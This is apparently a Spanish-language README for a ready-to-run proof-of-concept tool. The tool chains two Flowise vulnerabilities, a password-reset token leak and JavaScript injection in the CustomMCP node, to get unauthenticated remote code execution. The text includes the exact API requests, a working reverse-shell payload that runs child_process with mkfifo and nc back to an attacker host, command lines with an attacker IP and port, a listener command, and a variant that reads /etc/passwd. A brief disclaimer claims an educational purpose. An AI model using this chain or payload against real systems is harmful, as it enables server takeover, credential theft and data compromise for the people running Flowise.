PoC modular para CVE-2025-58434 (toma de control de cuenta) y CVE-2025-59528 (RCE) en Flowise. Automatiza la cadena de ataque completa desde la fuga de token no autenticado hasta la ejecución remota de código mediante reverse shell o comando personalizado.
⚠️ Solo para fines educativos e investigación de seguridad autorizada.
Ejecutar esta herramienta contra sistemas que no poseas o sin permiso por escrito para realizar pruebas es ilegal.
Este repositorio combina dos vulnerabilidades críticas en Flowise en una sola herramienta PoC modular.
| CVE-2025-58434 | CVE-2025-59528 | |
|---|---|---|
| Tipo | Toma de control de cuenta | Ejecución remota de código |
| Auth requerida | Ninguna | Sí (cualquier cuenta válida) |
| CVSS | 9.8 Crítico | Crítico |
| Afectado | Cloud + Autogestionado | Autogestionado |
Las dos vulnerabilidades se encadenan de forma natural: CVE-2025-58434 proporciona una toma de control de cuenta sin autenticar, lo que satisface el requisito de autenticación para CVE-2025-59528 — logrando RCE sin autenticar en una sola ejecución automatizada.
Causa raíz: El endpoint forgot-password devuelve el token de restablecimiento de contraseña (tempToken) directamente en el cuerpo de la respuesta HTTP en lugar de enviarlo solo por correo electrónico.
Pasos del ataque:
POST /api/v1/account/forgot-password con cualquier correo electrónico registradotempToken de la respuesta JSON — sin necesidad de acceso al correoPOST /api/v1/account/reset-password con el token filtrado → establecer una nueva contraseñaRespuesta filtrada (recortada):
{
"user": {
"email": "[email protected]",
"tempToken": "LEAKED_TOKEN_HERE",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
Causa raíz: El nodo CustomMCP pasa el mcpServerConfig proporcionado por el usuario directamente al constructor Function() de JavaScript sin sanitización. Dado que Flowise se ejecuta en Node.js, el código inyectado tiene acceso completo a child_process, fs y todos los módulos integrados de Node.js.
Ruta de código vulnerable:
POST /api/v1/node-load-method/customMCP
-> convertToValidJSONString()
-> Function('return ' + mcpServerConfig)() ← entrada de usuario sin sanitizar
Encabezados requeridos:
Content-Type: application/json
x-request-from: internal
Cookie: token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
Payload de inyección predeterminado (reverse shell):
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
}
}
Nota: Los payloads de reverse shell usan
cp.exec()(asíncrono / dispara y olvida) para que la solicitud HTTP regrese inmediatamente y la herramienta no agote el tiempo de espera. Los comandos regulares usancp.execSync()y devuelven la salida en línea.
Atacante API de Flowise
│ │
│ [CVE-2025-58434] │
│ POST /forgot-password {email} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 { tempToken: "abc..." } │ ← token filtrado en la respuesta
│ │
│ POST /reset-password │
│ {email, tempToken, newPassword} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 OK (tempToken borrado) │ ← ATO completado
│ │
│ [CVE-2025-59528] │
│ POST /auth/login {email, newPass} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 200 OK + Set-Cookie: token=... │ ← cookies extraídas
│ │
│ POST /node-load-method/customMCP │
│ {mcpServerConfig: <js-revshell>} │
│─────────────────────────────────────►│
│ [exec() se ejecuta en segundo plano]
│◄─────────────────────────────────────│
│ 200 {"shell_fired"} │
│ │
Listener nc del atacante ←───────────── El servidor se conecta de vuelta
✓ RCE completo desde cero credenciales
| Componente | Estado |
|---|---|
Flowise Cloud (cloud.flowiseai.com) | Afectado por CVE-2025-58434 |
| Flowise autogestionado (todas las versiones anteriores al parche) | Afectado por ambos CVEs |
Consulta los avisos de seguridad oficiales de Flowise para los números de versión con parche.
flowise-dual-cve-poc/
├── flowise_poc.py # PoC principal — todos los módulos + modo cadena
├── requirements.txt # Dependencias de Python
├── README.md # Este archivo
└── DISCLAIMER.md # Aviso legal completo
requestsgit clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt
No se requiere ninguna flag de modo. Si ejecutas el script sin --chain o --module, se ejecuta automáticamente en modo cadena completo. El payload de RCE predeterminado es un reverse shell — solo proporciona --lhost y --lport.
# Invocación mínima — cadena completa + reverse shell
python3 flowise_poc.py \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 \
--lport 4444
Inicia tu listener antes de ejecutar:
nc -lvnp 4444
python3 flowise_poc.py -h
Ejecuta los cuatro pasos de extremo a extremo: filtrar token → restablecer contraseña → iniciar sesión → RCE.
# Reverse shell (payload predeterminado)
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 --lport 4444
# Comando personalizado en lugar de reverse shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-c "cat /etc/passwd"